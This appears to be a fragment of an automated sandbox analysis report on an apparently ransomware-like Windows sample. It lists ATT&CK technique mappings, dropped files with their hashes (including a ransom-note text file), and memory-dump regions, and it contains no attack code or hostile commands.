"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2228 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
1⤵
PID:3416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hi3kjhfg.051.psm1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vyrkayky.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
21a2e1308f44f8bd92e39db1dfa26265

SHA1
f57e52b2f3e03cd0cfd1077c37228334eff14903

SHA256
2b53c0f410ca5408e7dad44f072b68c35dba85c33067062bbf305fb7603e7891

SHA512
5ad2d728aae2b18b08f418932316fe87c2526d95334356afb55e36a0b68172f13ff6b61b4aaaf61ba5f111539e03d52706ce90a243f42895c2328060a27a6b8f

Download Submit
memory/4860-1-0x00000000003E0000-0x00000000003FC000-memory.dmp

Filesize
112KB

Download
memory/4860-2-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/4860-187-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/4860-0-0x00000000747CE000-0x00000000747CF000-memory.dmp

Filesize
4KB

Download
memory/4900-54-0x00000000065E0000-0x0000000006612000-memory.dmp

Filesize
200KB

Download
memory/4900-4-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/4900-14-0x00000000052A0000-0x0000000005306000-memory.dmp

Filesize
408KB

Download
memory/4900-8-0x0000000005200000-0x0000000005222000-memory.dmp

Filesize
136KB

Download
memory/4900-20-0x0000000005A50000-0x0000000005DA4000-memory.dmp

Filesize
3.3MB

Download
memory/4900-22-0x0000000005FF0000-0x000000000600E000-memory.dmp

Filesize
120KB

Download
memory/4900-23-0x0000000006030000-0x000000000607C000-memory.dmp

Filesize
304KB

Download
memory/4900-3-0x00000000026B0000-0x00000000026E6000-memory.dmp

Filesize
216KB

Download
memory/4900-55-0x000000006FCD0000-0x000000006FD1C000-memory.dmp

Filesize
304KB

Download
memory/4900-66-0x00000000065A0000-0x00000000065BE000-memory.dmp

Filesize
120KB

Download
memory/4900-68-0x00000000071D0000-0x0000000007273000-memory.dmp

Filesize
652KB

Download
memory/4900-15-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/4900-73-0x0000000007960000-0x0000000007FDA000-memory.dmp

Filesize
6.5MB

Download
memory/4900-74-0x0000000007320000-0x000000000733A000-memory.dmp

Filesize
104KB

Download
memory/4900-75-0x0000000007390000-0x000000000739A000-memory.dmp

Filesize
40KB

Download
memory/4900-77-0x00000000075A0000-0x0000000007636000-memory.dmp

Filesize
600KB

Download
memory/4900-80-0x0000000007520000-0x0000000007531000-memory.dmp

Filesize
68KB

Download
memory/4900-98-0x0000000007550000-0x000000000755E000-memory.dmp

Filesize
56KB

Download
memory/4900-99-0x0000000007560000-0x0000000007574000-memory.dmp

Filesize
80KB

Download
memory/4900-102-0x0000000007660000-0x000000000767A000-memory.dmp

Filesize
104KB

Download
memory/4900-104-0x0000000007640000-0x0000000007648000-memory.dmp

Filesize
32KB

Download
memory/4900-115-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/4900-6-0x00000000747C0000-0x0000000074F70000-memory.dmp

Filesize
7.7MB

Download
memory/4900-7-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download